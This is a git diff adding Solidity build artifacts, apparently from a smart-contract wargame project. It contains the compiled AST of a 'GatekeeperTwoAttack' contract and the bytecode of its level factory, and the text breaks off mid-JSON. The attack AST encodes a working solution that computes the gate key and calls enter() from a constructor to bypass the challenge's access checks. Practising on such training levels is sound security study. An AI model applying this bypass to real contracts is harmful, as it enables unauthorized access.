+{"abi":[{"type":"function","name":"enter","inputs":[{"name":"_gateKey","type":"bytes8","internalType":"bytes8"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"enter(bytes8)":"3370204e"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"bytes8\",\"name\":\"_gateKey\",\"type\":\"bytes8\"}],\"name\":\"enter\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/GatekeeperTwoAttack.sol\":\"GatekeeperTwoInterface\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/GatekeeperTwoAttack.sol\":{\"keccak256\":\"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e\",\"dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"bytes8","name":"_gateKey","type":"bytes8"}],"stateMutability":"nonpayable","type":"function","name":"enter","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/GatekeeperTwoAttack.sol":"GatekeeperTwoInterface"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/GatekeeperTwoAttack.sol":{"keccak256":"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4","urls":["bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e","dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/GatekeeperTwoAttack.sol","id":49528,"exportedSymbols":{"GatekeeperTwoAttack":[49527],"GatekeeperTwoInterface":[49476]},"nodeType":"SourceUnit","src":"33:485:47","nodes":[{"id":49468,"nodeType":"PragmaDirective","src":"33:23:47","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49476,"nodeType":"ContractDefinition","src":"58:97:47","nodes":[{"id":49475,"nodeType":"FunctionDefinition","src":"97:56:47","nodes":[],"functionSelector":"3370204e","implemented":false,"kind":"function","modifiers":[],"name":"enter","nameLocation":"106:5:47","parameters":{"id":49471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49470,"mutability":"mutable","name":"_gateKey","nameLocation":"119:8:47","nodeType":"VariableDeclaration","scope":49475,"src":"112:15:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":49469,"name":"bytes8","nodeType":"ElementaryTypeName","src":"112:6:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"111:17:47"},"returnParameters":{"id":49474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49473,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49475,"src":"147:4:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49472,"name":"bool","nodeType":"ElementaryTypeName","src":"147:4:47","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"146:6:47"},"scope":49476,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperTwoInterface","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49476],"name":"GatekeeperTwoInterface","nameLocation":"68:22:47","scope":49528,"usedErrors":[],"usedEvents":[]},{"id":49527,"nodeType":"ContractDefinition","src":"157:360:47","nodes":[{"id":49479,"nodeType":"VariableDeclaration","src":"192:33:47","nodes":[],"constant":false,"mutability":"mutable","name":"gatekeeper","nameLocation":"215:10:47","scope":49527,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"},"typeName":{"id":49478,"nodeType":"UserDefinedTypeName","pathNode":{"id":49477,"name":"GatekeeperTwoInterface","nameLocations":["192:22:47"],"nodeType":"IdentifierPath","referencedDeclaration":49476,"src":"192:22:47"},"referencedDeclaration":49476,"src":"192:22:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"visibility":"internal"},{"id":49526,"nodeType":"FunctionDefinition","src":"232:283:47","nodes":[],"body":{"id":49525,"nodeType":"Block","src":"282:233:47","nodes":[],"statements":[{"expression":{"id":49488,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49484,"name":"gatekeeper","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49479,"src":"292:10:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49486,"name":"GatekeeperTwoContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49481,"src":"328:28:47","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49485,"name":"GatekeeperTwoInterface","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49476,"src":"305:22:47","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperTwoInterface_$49476_$","typeString":"type(contract GatekeeperTwoInterface)"}},"id":49487,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"305:52:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"src":"292:65:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"id":49489,"nodeType":"ExpressionStatement","src":"292:65:47"},{"assignments":[49491],"declarations":[{"constant":false,"id":49491,"mutability":"mutable","name":"key","nameLocation":"374:3:47","nodeType":"VariableDeclaration","scope":49525,"src":"367:10:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":49490,"name":"bytes8","nodeType":"ElementaryTypeName","src":"367:6:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"id":49516,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":49514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":49503,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"436:4:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}],"id":49502,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"428:7:47","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49501,"name":"address","nodeType":"ElementaryTypeName","src":"428:7:47","typeDescriptions":{}}},"id":49504,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"428:13:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49499,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"411:3:47","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":49500,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"415:12:47","memberName":"encodePacked","nodeType":"MemberAccess","src":"411:16:47","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":49505,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"411:31:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":49498,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"401:9:47","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":49506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"401:42:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":49497,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"394:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":49496,"name":"bytes8","nodeType":"ElementaryTypeName","src":"394:6:47","typeDescriptions":{}}},"id":49507,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"394:50:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":49495,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"387:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":49494,"name":"uint64","nodeType":"ElementaryTypeName","src":"387:6:47","typeDescriptions":{}}},"id":49508,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"387:58:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"nodeType":"BinaryOperation","operator":"^","rightExpression":{"expression":{"arguments":[{"id":49511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"453:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":49510,"name":"uint64","nodeType":"ElementaryTypeName","src":"453:6:47","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"}],"id":49509,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"448:4:47","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":49512,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:12:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint64","typeString":"type(uint64)"}},"id":49513,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"461:3:47","memberName":"max","nodeType":"MemberAccess","src":"448:16:47","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"src":"387:77:47","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":49493,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"380:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":49492,"name":"bytes8","nodeType":"ElementaryTypeName","src":"380:6:47","typeDescriptions":{}}},"id":49515,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"380:85:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"nodeType":"VariableDeclarationStatement","src":"367:98:47"},{"expression":{"arguments":[{"id":49522,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49491,"src":"504:3:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"id":49517,"name":"gatekeeper","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49479,"src":"475:10:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"id":49519,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"486:5:47","memberName":"enter","nodeType":"MemberAccess","referencedDeclaration":49475,"src":"475:16:47","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes8_$returns$_t_bool_$","typeString":"function (bytes8) external returns (bool)"}},"id":49521,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["gas"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"3530303030","id":49520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"497:5:47","typeDescriptions":{"typeIdentifier":"t_rational_50000_by_1","typeString":"int_const 50000"},"value":"50000"}],"src":"475:28:47","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes8_$returns$_t_bool_$gas","typeString":"function (bytes8) external returns (bool)"}},"id":49523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"475:33:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49524,"nodeType":"ExpressionStatement","src":"475:33:47"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49482,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49481,"mutability":"mutable","name":"GatekeeperTwoContractAddress","nameLocation":"252:28:47","nodeType":"VariableDeclaration","scope":49526,"src":"244:36:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49480,"name":"address","nodeType":"ElementaryTypeName","src":"244:7:47","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"243:38:47"},"returnParameters":{"id":49483,"nodeType":"ParameterList","parameters":[],"src":"282:0:47"},"scope":49527,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperTwoAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49527],"name":"GatekeeperTwoAttack","nameLocation":"166:19:47","scope":49528,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":47} \ No newline at end of file diff --git a/contracts/out/GatekeeperTwoFactory.sol/GatekeeperTwoFactory.json b/contracts/out/GatekeeperTwoFactory.sol/GatekeeperTwoFactory.json new file mode 100644 index 000000000..594ffb22a --- /dev/null +++ b/contracts/out/GatekeeperTwoFactory.sol/GatekeeperTwoFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105d58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101e6806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506101c98061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b61004636600461014d565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b333b80156100bc575f80fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff1614610119575f80fd5b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001632179055600192505050919050565b5f6020828403121561015d575f80fd5b81357fffffffffffffffff0000000000000000000000000000000000000000000000008116811461018c575f80fd5b939250505056fea2646970667358221220f0c394b0333446b0b08bc05053c1bb70424d437a2253ebf9d0f385deeec33e7264736f6c63430008180033a2646970667358221220ecd59112a79433a7c4594bab2e7499af3cad71a41b1605177a775d123302cf5264736f6c63430008180033","sourceMap":"116:466:86:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;116:466:86;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;116:466:86:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101e6806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b506101c98061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b61004636600461014d565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b333b80156100bc575f80fd5b6040516bffffffffffffffffffffffff193360601b166020820152839067ffffffffffffffff9060c083901c906034016040516020818303038152906040528051906020012060c01c1867ffffffffffffffff1614610119575f80fd5b5f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001632179055600192505050919050565b5f6020828403121561015d575f80fd5b81357fffffffffffffffff0000000000000000000000000000000000000000000000008116811461018c575f80fd5b939250505056fea2646970667358221220f0c394b0333446b0b08bc05053c1bb70424d437a2253ebf9d0f385deeec33e7264736f6c63430008180033a2646970667358221220ecd59112a79433a7c4594bab2e7499af3cad71a41b1605177a775d123302cf5264736f6c63430008180033","sourceMap":"116:466:86:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;161:195:86;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;161:195:86;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;362:218:86;;;;;;;;;;-1:-1:-1;362:218:86;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;362:218:86;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;161:195:86:-;235:7;271:22;296:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;271:44:86;161:195;-1:-1:-1;;;161:195:86:o;362:218::-;462:4;478:22;517:9;478:49;;566:7;-1:-1:-1;;;;;544:29:86;:8;-1:-1:-1;;;;;544:16:86;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;544:29:86;;;362:218;-1:-1:-1;;;;362:218:86:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}